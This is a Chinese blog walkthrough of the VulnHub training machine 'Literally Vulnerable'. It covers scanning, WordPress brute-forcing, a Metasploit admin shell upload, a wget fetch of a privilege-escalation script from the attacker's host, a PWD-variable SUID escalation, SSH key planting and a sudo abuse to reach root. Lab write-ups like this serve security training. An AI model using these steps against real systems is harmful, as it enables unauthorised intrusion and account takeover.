『VulnHub系列』UA:Literally_Vulnerable-Walkthrough

这是完成的VulnHub上的第28个靶机。

靶机地址

难度:初级++

靶机发布日期:2019年12月6日

在这里插入图片描述

靶机描述:Flags: 3 (local.txt, user.txt & root.txt)
Difficulty Level: Initial Shell (Easy) - Privileges Escalation (Intermediate)
Website: https://ebryx.com
Hint: Maybe, you hasted and left some open holes unchecked?
Literally Vulnerable is supposed to give beginners a taste of real-world scenarios and OSCP machines at the same time! It was inspired highly by the @DC series.

You’re supposed to know the big three (EEEs) Enumeration, Exploitation & Escalation of pentesting to pwn the machine. The machine is supposed to be beginner-friendly and the difficulty level is Easy-Intermediate depending on your knowledge. You need to have enough information about Linux file types & permissions for privileges escalation.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

  • nmap
  • gobuster
  • metasploit
  • PWD环境变量提权
  • SSH密钥登录

0x00、信息收集

靶机IP:192.168.1.130

nmap -sn 192.168.1.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T5 -A -p- 192.168.1.130

在这里插入图片描述

获取一下ftp上的文件。从文件内容来看好像是要让我们根据以往密码生成字典,然后爆破,不过我们先别急,再收集收集其他的信息,信息越多能够产生的关联越多。

在这里插入图片描述

页面、目录枚举

由于之前nmap扫描的时候已经发现80端口运行的是WordPress,那么我们这里就跑跑65535端口上都有啥目录。之发现了index.html和/javascript,并且/javascript是禁止访问的,之后对/javascript进行枚举,最终发现/javascript/jquery/jquery.js

gobuster dir -u http://192.168.1.130:65535 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述

看看WordPress。发现页面显示不正常,这个是WordPress的老毛病,需要我们改一下/etc/hosts,之后再刷新一下就能显示正常了。

在这里插入图片描述

在这里插入图片描述

Wappalyzer显示WordPress版本是5.3(最新版本),但是我还是用wpscan扫描了一下,结果什么也没有发现。

搜索了一下没有发现Nginx 1.14、Apache 2.4.29、vsftpd 3.0.3存在漏洞。

然后使用doe、Doe、admin作为用户名,backupPasswords里面的密码作为密码字典,分别对ftp、ssh、wordpress进行密码爆破,均无果。

到目前为止已经把端口和服务、页面目录枚举、ftp匿名登录得到的信息都尝试过了,仍然没有找到下一步的入口。细想一下backupPasswords里面的密码和用户名应该是有效的,只是不知道用在哪里。常理推断,65535这个端口应该不会是随便给的,不可能只有一个jquery.js,所以换个字典对它进行第二次页面目录枚举。枚举、爆破的时候字典真是至关重要。

使用https://github.com/danielmiessler/SecLists中的/Discovery/Web-Content/raft-large-directories.txt进行枚举,发现phpcms。

在这里插入图片描述

在这里插入图片描述

一开始我对上图中输入密码的位置进行爆破,但是没有得到登录成功的提示。后来反应过来,这是靶机的另外一个WordPress站点,随即进行用户名的枚举及密码暴力猜解。

wpscan --url http://192.168.1.130:65535/phpcms/ -e u # 枚举用户
wpscan --url http://192.168.1.130:65535/phpcms/ -U user.txt -P pass.txt # 密码猜解

在这里插入图片描述

在这里插入图片描述

最终得到maybeadmin:$EPid%J2L9LufO5。登录之后可以查看加了密码的文档,得到了notadmin用户的口令notadmin:Pa$$w0rd13!&

在这里插入图片描述

由于maybeadmin不是管理员账户(因为它的菜单里面没有Users模块),所以我们用notadmin账户重新登录后台,发现notadmin是管理员角色。所以接下来我们准备reverse shell。

在这里插入图片描述

0x01、getshell

WordPress在管理员权限下常见的有两种reverse shell的方式。第一种是编辑Themes中的php页面,将reverse shell的代码加进去,然后监听端口、访问php页面;还有一种就是直接用MSF中的exploit/unix/webapp/wp_admin_shell_upload。因为之前通过第一种方式reverse shell的靶机写过好几个了,所以这里我们换第二种方式。

在这里插入图片描述

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

/etc/passwd文件中发现doe、john两个用户。之后在doe用户目录下发现第一个flag:local.txt,但是只有doe可以读取,以及一个SUID权限的可执行文件itseasy。执行了一下这个可执行文件,得到的结果是:Your Path is: /home/doe。由于当前所在路径就是/home/doe,所以猜测这个可执行文件是调用了pwd命令,可以通过PATH环境变量进行提权。

但是在尝试过之后,发现这里使用PATH环境变量提权无效。

在这里插入图片描述

在这里插入图片描述

一个小伙伴说他用NSA出品的那个逆向工具Ghidra得到了itseasy可执行文件的源码,争得本人同意后我这里直接用了他的图。

在这里插入图片描述

看了一下源码,发现使用了getenv函数,请求的是环境变量是PWD,而不是pwd,注意这两个是有区别的。PWD是环境变量,而pwd对应的是可执行文件/usr/bin/pwd。如果这里调用的是pwd,那么我们可以通过PATH环境变量提权,而这里调用的是PWD环境变量,所以我们只能通过修改PWD的值进行提权了。

在这里插入图片描述

Linux环境变量相关的内容可以查看:Linux环境变量查看和修改

使用PWD提升权限

在这里插入图片描述

用上面这个办法是可以提升到john用户的权限,但是很多命令执行完之后没有结果返回,例如ls、cat这样的命令,cd是可以使用的。但是之后退出通过PWD得到的shell,输出了之前执行过的命令的结果。于是得到了一个flag:user.txt

在这里插入图片描述

在发现了通过PWD提权至john权限之后,执行某些命令没有返回结果,但在退出(执行exit)之后结果全部输出的规律之后,我们只能来回在www-data权限和john权限之间切换,去查看一些东西。

由于这么来回切换实在太麻烦了,所以打算在/home/john目录下生成.ssh文件夹,然后kali生成密钥,并将生成的公钥写入到/home/john/.ssh/authorized_keys。之后通过SSH使用john账户登录靶机。

在这里插入图片描述

在这里插入图片描述

之后在john用户目录发现了myPassword,最终得到了john用户的密码john:YZW$s8Y49IB#ZZJ。执行sudo -l后,发现存在以root权限运行的/var/www/html/test.html,刚看到文件后缀名的时候我是懵的,test.html怎么执行?

在这里插入图片描述

之后发现john没有权限在/var/www/html创建文件,www-data才有写入权限。

在这里插入图片描述

www-data创建test.html文件,写入/bin/bash,赋予可执行权限。

在这里插入图片描述

执行test.html后得到root权限,随后得到剩余的两个flag。

在这里插入图片描述

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值